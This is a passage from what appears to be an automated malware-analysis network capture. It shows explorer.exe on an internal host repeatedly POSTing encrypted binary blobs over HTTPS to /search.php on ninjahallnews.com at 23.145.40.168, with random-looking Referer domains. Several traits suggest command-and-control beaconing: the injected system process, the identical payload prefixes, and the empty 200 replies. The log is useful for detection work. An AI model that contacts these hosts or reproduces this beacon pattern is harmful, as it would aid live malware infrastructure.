2024-10-08 01:15:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 01:15:19 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a c5 1b 8a ab 3f 66 45 20 c9 af 22 2e ab 70 95 3f 9f 17 d3 11 7d 81 a5 94 ec 3b f9 58 d1 55 e2 90 08 70 1a b8 60 26 7d 78 86 82 bc 9a 1b 61 79 3c 97 58 14 89 26 5c 44 88 a6 3d 96 1c 53 26 00 44 58 49 1b e8 f1 aa 9a db 4e 9f 66 5f 7d b0 b3 fc 57 ca ff 71 25 4f 88 ed 70 0f 16 b2 c4 bd 0e bf f3 dc 00 b7 f2 a5 f4 ae f3 f6 7a c8 37 8f 60 c1 38 d7 b6 f2 58 0d 76 ba c8 7a a6 13 3a 4c a3 b6 86 b9 a2 0c 4b 37 05 84 09 ed 08 4f 88 07 ea 9a 75 72 15 85 b8 4f 76 61 8c 31 de 65 cd 2a 97 ab 9b 29 53 ae e4 04 d8 0a b1 e7 9c e1 f6 76 b9 e7 13 2d 86 58 56 2e 7e 92 81 b1 d6 bd f7 64 fc 6f c7 85 3a 07 06 fb 78 ed f1 e2 16 f4 a8 e4 e2 30 06 ce 27 25 8a 9d db ba e3 ba 88 e2 96 64 d0 07 8e 10 df c5 fe 4c ef 98 b4 8c 08 a1 01 60 3f 7e ab c0 6c eb 06 f6 63 1f a5 Data Ascii: 2000?fE ".p?};XUp`&}xay<X&\D=S&DXINf_}Wq%Opz7`8Xvz:LK7OurOva1e*)Sv-XV.~do:x0'%dL`?~lc
2024-10-08 01:15:19 UTC	6	IN	Data Raw: 60 4f 16 27 c7 be Data Ascii: `O'
2024-10-08 01:15:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49924	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:20 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://qlmbybhxbuhwwks.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 315 Host: ninjahallnews.com
2024-10-08 01:15:20 UTC	315	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6a 34 01 83 b7 25 93 3c 6d ab 0f be be cc 49 5b f0 14 66 f8 32 e8 83 03 7a ec 69 32 5b ae e0 94 7f d1 ef 0f 1d e6 e8 63 ea 6f 7c ac e7 52 67 66 45 59 23 c1 2e 80 eb c5 3a e3 82 31 13 26 ab 58 2e bc 66 0b 9f ed e8 97 5b 39 d3 69 e0 2d e8 3b 5d 9d 50 cc 2d 40 79 61 13 bb ab 49 f7 b3 3a 85 1d 2d f1 d6 87 55 ab ae 7e 93 ba ae a8 58 42 86 8a 86 6b 59 8c 7c 4a 98 11 7b 4a bd 26 12 2c a2 17 6a 12 fd db d5 20 3c b6 c9 69 bd 2d f7 c0 cc 7d 17 3c 4b e0 5b 72 70 52 7b e8 31 82 d3 15 3a 6a 7c 5e f0 8e 6e 60 0c 44 95 fc ee 24 96 e9 00 82 55 d0 f6 a8 c1 08 b2 5a Data Ascii: rmh9/2p6 )6IP g3iqH[@Lj4%<mI[f2zi2[co\|RgfEY#.:1&X.f[9i-;]P-@yaI:-U~XBkY\|J{J&,j <i-}<K[rpR{1:j\|^n`D$UZ
2024-10-08 01:15:21 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:21 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49935	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:21 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://dkjcfovkypdsnjsq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: ninjahallnews.com
2024-10-08 01:15:21 UTC	276	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6b 34 01 83 b7 25 93 3c 4d f4 00 f9 b3 dc 38 40 c2 78 1f 88 69 9d f8 06 30 e1 1b 13 31 bd c7 9c 2b e2 fd 5c 70 c7 9b 72 f6 42 48 aa fe 15 09 32 41 31 1d ec 37 da f5 cb 03 d5 87 59 1a 2a f2 5a 5d a3 6e 50 80 93 e3 c2 00 3a dd 1e c7 59 e0 6d 78 aa 4f c1 55 4a 76 61 1b bc f9 6c a4 90 27 85 5c 03 fb c5 ba 27 a7 81 58 aa c1 a8 80 33 79 c9 84 b1 40 0e 8e 73 42 d6 7e 74 2b f8 7c 0a 2b b2 1b 76 26 dc c1 ce 1f 7f a4 ea 7d bd 2c 85 bc c1 7c 78 23 6e e4 5d 2d 06 3a 70 c5 0f e2 9d 30 02 30 2f 51 ee f0 4a 23 4b 43 d8 ee f4 21 fd d0 15 ed 55 b7 f6 bd a5 49 a8 47 Data Ascii: rmh9/2p6 )6IP g3iqH[@Lk4%<M8@xi01+\prBH2A17Y*Z]nP:YmxOUJval'\'X3y@sB~t+\|+v&},\|x#n]-:p00/QJ#KC!UIG
2024-10-08 01:15:22 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:22 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49942	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:23 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ifvxyamcogdoh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 324 Host: ninjahallnews.com
2024-10-08 01:15:23 UTC	324	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 69 34 01 83 b7 25 93 3c 24 a3 0c fe 97 a1 16 58 be 2d 32 ef 3b 8a d2 66 04 b3 36 4d 6f a8 f6 d6 6b b5 d7 58 10 80 fa 43 8a 5e 76 bb fe 7e 3c 39 77 4f 17 f4 1c 90 9a 9c 4b 90 b7 44 61 52 ee 79 31 d4 2e 18 de 82 93 92 38 74 b0 73 ba 43 be 30 2b a8 24 ce 2a 37 63 15 0a a5 d3 12 fd 88 69 e9 22 3f f8 ca dd 23 a2 90 61 e9 c2 ee b5 47 5f 86 ab b3 1a 13 ab 03 08 96 79 6e 10 92 6a 2c 4a df 22 60 54 80 84 d3 22 27 89 e4 1b 8c 3b fb e3 b0 13 2a 2a 2a ef 78 25 74 4b 21 a3 3d e4 ba 10 02 7b 2c 54 fb e2 7d 6c 52 3f 85 c8 9c 55 98 d6 29 91 52 b7 95 e9 af 69 91 79 Data Ascii: rmh9/2p6 )6IP g3iqH[@Li4%<$X-2;f6MokXC^v~<9wOKDaRy1.8tsC0+$7ci"?#aG_ynj,J"`T"';**x%tK!={,T}lR?U)Riy
2024-10-08 01:15:23 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:23 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49951	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:24 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://jhsgrosrfeyc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 227 Host: ninjahallnews.com
2024-10-08 01:15:24 UTC	227	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6e 34 01 83 b7 25 93 3c 20 bf 3b f7 df e4 3a 1e d6 12 27 a5 45 9b 8a 7c 2d e9 15 54 28 9c c9 d3 39 db f2 65 74 f9 f9 23 e8 2c 29 f5 d1 17 13 53 09 5a 21 f8 34 dc ee ab 2c ec e7 69 19 26 9a 0f 59 f2 72 51 ff db e9 97 13 6a 97 53 b8 64 ed 6f 2e c7 5c b1 2a 53 50 12 0a a8 f6 51 ee 87 08 e7 1c 0f 9e b4 86 4f b7 e6 41 84 df 82 82 3d 3b ad b3 98 15 48 b9 72 51 93 62 43 1a ee 49 71 25 a9 13 13 2a 96 d6 9e 0c 7e a4 d0 33 84 7a 82 be a7 25 67 00 29 e5 15 65 03 4a 0f be 15 de Data Ascii: rmh9/2p6 )6IP g3iqH[@Ln4%< ;:'E\|-T(9et#,)SZ!4,i&YrQjSdo.\SPQOA=;HrQbCIq%~3z%g)eJ
2024-10-08 01:15:24 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:24 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49959	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:24 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://snwbetxwxfjxjjcj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 213 Host: ninjahallnews.com
2024-10-08 01:15:24 UTC	213	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6f 34 01 83 b7 25 93 3c 3c c4 1d a0 bb a7 11 45 d5 12 3f 9d 3a c3 87 74 6a d2 10 50 34 c3 c2 d9 29 df ef 5c 55 9d 80 59 b2 60 33 ad 9c 56 6d 4a 02 3c 1a e5 74 d1 f7 97 0e ed 9a 4c 6b 57 e1 4d 48 ca 47 06 c3 fe ac b9 02 1f a7 11 b0 3f ff 3f 5b d8 04 d5 55 41 3c 7d 77 cd bd 12 93 87 1a 9f 21 6d ca cc bc 25 d2 bc 74 f2 b7 94 83 5b 4b 85 cd b4 1a 51 81 7b 12 8d 0b 01 3e b9 6f 75 7c a4 36 7b 53 8e c3 95 25 34 9a b4 15 f6 29 fd 90 Data Ascii: rmh9/2p6 )6IP g3iqH[@Lo4%<<E?:tjP4)\UY`3VmJ<tLkWMHG??[UA<}w!m%t[KQ{>ou\|6{S%4)
2024-10-08 01:15:25 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:25 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49965	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:25 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://duxssctxidfvcwn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: ninjahallnews.com
2024-10-08 01:15:25 UTC	321	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6c 34 01 83 b7 25 93 3c 4e b5 73 96 d0 d7 3d 37 da 05 3f f5 24 f4 99 6e 67 f5 6e 08 49 94 d6 ec 6b cc c0 14 1f c3 88 26 b9 65 70 8f 87 06 1f 36 08 1c 01 fa 15 8d 94 a9 0a dc 82 77 31 0e f3 70 04 f7 4f 72 95 9e ac c6 3d 26 dc 02 fe 28 99 24 6b ce 23 98 6f 50 62 30 57 b8 e4 03 8e a6 78 fb 48 18 89 f2 d5 59 e2 b5 6f 98 9d 83 b7 49 58 97 a1 cf 07 4e 8f 1f 2f eb 72 09 58 83 71 2b 7e eb 42 03 29 c4 b3 c7 75 57 9b af 15 bb 74 ca e2 ff 26 20 2e 72 f3 18 29 50 36 65 ab 02 a8 a2 33 2c 30 72 3f 9a fd 60 40 3d 50 b0 d5 95 2e 94 ca 13 c6 58 aa a1 a2 df 7d a2 62 Data Ascii: rmh9/2p6 )6IP g3iqH[@Ll4%<Ns=7?$ngnIk&ep6w1pOr=&($k#oPb0WxHYoIXN/rXq+~B)uWt& .r)P6e3,0r?`@=P.X}b
2024-10-08 01:15:26 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:25 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49971	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:26 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://onmervjnyngctx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: ninjahallnews.com
2024-10-08 01:15:26 UTC	335	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6d 34 01 83 b7 25 93 3c 46 f8 71 a4 d9 c2 14 36 e5 6f 1b b7 75 f1 ce 61 3e de 7a 5d 43 a9 ee c0 55 eb ec 5b 6c dc ec 3f 9f 51 2a e8 9e 49 7d 32 61 28 5d f8 2b c9 db a8 58 f3 fe 51 24 4b b5 05 20 c1 22 68 c9 91 8a ad 41 65 d0 7b d3 49 b7 79 25 c8 4c a0 42 23 68 15 49 c8 f4 70 94 b5 0c 90 11 11 c6 cd 91 52 c0 e9 7f f4 cc aa 99 16 6f cd 80 83 6f 0a a6 6e 50 f0 6b 73 1c e8 6a 2a 32 fc 03 0c 46 d4 9c 89 7f 28 8f ee 63 90 20 cb ff f1 10 7d 71 59 b1 45 25 6e 0b 04 c5 33 86 91 10 33 64 71 2e e3 82 47 44 07 1f dc ee d2 31 87 df 13 fe 31 d7 b3 df a6 74 ad 43 Data Ascii: rmh9/2p6 )6IP g3iqH[@Lm4%<Fq6oua>z]CU[l?QI}2a(]+XQ$K "hAe{Iy%LB#hIpRoonPksj2F(c }qYE%n33dq.GD11tC
2024-10-08 01:15:27 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:26 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49977	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:27 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://gapeuqmkxloigpbr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: ninjahallnews.com
2024-10-08 01:15:27 UTC	232	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 62 34 01 83 b7 25 93 3c 74 d8 15 ef 95 c9 5b 0e cb 08 72 b1 4f e2 d3 2e 28 e4 75 0b 77 a8 d5 8e 55 fa bb 50 41 f4 f5 49 ed 44 56 fb dc 6a 0e 56 40 14 05 ca 68 d1 82 85 58 ca ea 59 26 19 e0 6d 38 e9 21 59 ff cd e7 96 35 17 80 07 c2 41 b7 21 5d 92 0b 8e 70 4b 65 77 40 fe db 41 9e a6 14 ff 4b 03 9a d0 cb 28 d5 f8 0c 81 b6 ad dc 36 73 af de 95 6d 10 b4 1e 27 d9 68 12 1f ff 40 75 28 fb 29 33 47 e7 8d e1 62 68 8c a7 61 92 45 e6 d0 ff 6b 1f 0a 7a c6 73 7c 53 0b 25 f6 09 8f c4 24 56 63 16 Data Ascii: rmh9/2p6 )6IP g3iqH[@Lb4%<t[rO.(uwUPAIDVjV@hXY&m8!Y5A!]pKew@AK(6sm'h@u()3GbhaEkzs\|S%$Vc
2024-10-08 01:15:27 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:27 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49983	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:28 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://toeqqmleovvia.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 352 Host: ninjahallnews.com
2024-10-08 01:15:28 UTC	352	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 63 34 01 83 b7 25 93 3c 2e f8 67 9e a6 fb 41 51 be 72 12 f6 3f c4 ca 2f 29 a7 16 56 40 98 d6 89 70 f0 a6 70 69 c4 f0 27 92 71 36 e1 9a 05 16 4d 17 07 23 e0 3e bf f4 8c 48 f5 b8 6d 68 29 f1 10 0c fe 3b 7c f3 fe ad 81 5b 14 9a 1b b2 2a b8 36 5a ba 39 bd 4b 42 4b 2f 03 d2 dc 1a 93 a4 07 d7 26 08 f1 a2 81 1c b2 a6 5b f1 dd 85 90 40 28 9f 92 b2 0c 20 ca 70 5d 99 78 12 39 95 4f 35 2d c2 21 37 30 d5 a6 d7 6e 7f bf ab 78 9b 67 e7 be bd 25 76 10 78 ba 1b 6d 60 1a 22 e9 3e f3 85 28 1d 2c 2a 58 e0 e0 33 2b 22 33 ac d7 d3 20 ca b2 2b 9c 21 df e9 f3 cc 0d a9 2e Data Ascii: rmh9/2p6 )6IP g3iqH[@Lc4%<.gAQr?/)V@ppi'q6M#>Hmh);\|[6Z9KBK/&[@( p]x9O5-!70nxg%vxm`">(,X3+"3 +!.
2024-10-08 01:15:28 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:28 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49989	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:29 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://bqjkmpxvvpbja.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: ninjahallnews.com
2024-10-08 01:15:29 UTC	345	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 60 34 01 83 b7 25 93 3c 62 bd 02 94 a4 e5 51 2a c6 08 38 9c 5f 91 ea 74 60 a0 01 4e 75 bb cd ec 68 e0 c3 0c 59 82 a5 28 ee 21 76 b2 90 53 2d 7b 5e 21 21 f9 7c b5 d7 af 32 f9 91 3d 7d 06 83 1d 3b d2 3c 64 c6 c2 ba 9a 0f 3b b7 45 b5 5f e7 15 69 bf 5f 90 4a 2b 46 35 6b c9 af 62 ee bd 02 f7 40 26 d5 c1 be 43 f3 89 77 8f cf a7 b7 4a 4d 9f 8d cc 4d 5b 94 14 06 c9 1a 49 43 f3 73 12 2c f9 22 09 2f 84 8e f7 07 33 bc e6 00 9a 24 f1 f6 db 0c 31 3d 4e f1 64 26 5b 0b 2f bd 15 f3 ad 04 0d 28 67 29 81 e2 5e 66 41 28 a1 c1 cc 31 d5 ef 13 91 49 9e e1 e7 88 02 c8 62 Data Ascii: rmh9/2p6 )6IP g3iqH[@L`4%<bQ*8_t`NuhY(!vS-{^!!\|2=};<d;E_i_J+F5kb@&CwJMM[ICs,"/3$1=Nd&[/(g)^fA(1Ib
2024-10-08 01:15:29 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:29 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49995	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:30 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://jesubehqcutadrf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 358 Host: ninjahallnews.com
2024-10-08 01:15:30 UTC	358	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 61 34 01 83 b7 25 93 3c 46 c4 20 e6 b8 c6 43 24 ba 07 32 b5 28 9f f4 3b 72 c4 34 3b 77 d4 ee d0 2b f0 c6 40 68 e7 ef 21 b0 6b 2a a2 dd 72 1b 7e 12 12 0e c7 1b d3 91 b8 55 90 9b 70 77 4e 9b 67 16 b9 2e 0d 94 c4 8b 81 20 10 9a 66 be 64 ba 76 28 b4 26 99 58 37 3a 25 14 bb b4 77 95 b1 76 d2 36 07 8c cb dc 1c a7 fa 01 e1 8c b7 82 21 4c 95 b9 bf 64 1a d6 0f 04 e8 2f 12 16 e3 3e 67 40 de 55 66 09 d8 90 e9 0a 51 8f a3 11 af 4e 9a af b2 06 3c 2a 6d f3 43 71 68 1f 6e cc 0f ef a1 06 4a 21 78 18 f0 89 5f 68 5e 40 bd f4 d9 22 9a d2 32 f7 3e 95 84 c5 86 02 9f 57 Data Ascii: rmh9/2p6 )6IP g3iqH[@La4%<F C$2(;r4;w+@h!kr~UpwNg. fdv(&X7:%wv6!Ld/>g@UfQN<mCqhnJ!x_h^@"2>W
2024-10-08 01:15:30 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:30 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50001	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:31 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://morbrftngjk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 291 Host: ninjahallnews.com
2024-10-08 01:15:31 UTC	291	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 66 34 01 83 b7 25 93 3c 4a a3 0a b0 c7 b5 14 31 d4 29 34 e1 74 ca c7 70 3e bf 68 5b 5a b0 dd d6 4f e4 e5 10 7c 8e f6 44 fe 3d 30 8b f1 1c 17 44 65 21 02 ff 03 a2 e8 8a 4a 9d e6 44 75 19 98 7b 18 ab 36 6f ec 90 be 82 0f 05 b7 50 cc 22 93 3d 57 cc 1d d7 40 39 56 65 68 ab f7 48 8c de 01 d1 30 78 ff c5 8c 1d ba 83 5b 8e a0 e7 a6 46 63 be 92 a3 43 20 bb 41 0c 9c 2e 4f 0d bc 29 72 74 ef 2e 31 08 ea 8b c6 07 3b c5 a5 1d bc 35 fb cd cf 67 7a 27 58 ac 68 11 5f 32 39 a3 51 e6 bd 04 29 69 42 2f c8 80 64 7a 43 04 8b 84 f1 19 c8 d4 63 d9 64 cd b6 af a8 52 d0 43 Data Ascii: rmh9/2p6 )6IP g3iqH[@Lf4%<J1)4tp>h[ZO\|D=0De!JDu{6oP"=W@9VehH0x[FcC A.O)rt.1;5gz'Xh_29Q)iB/dzCcdRC
2024-10-08 01:15:31 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:15:31 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50008	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
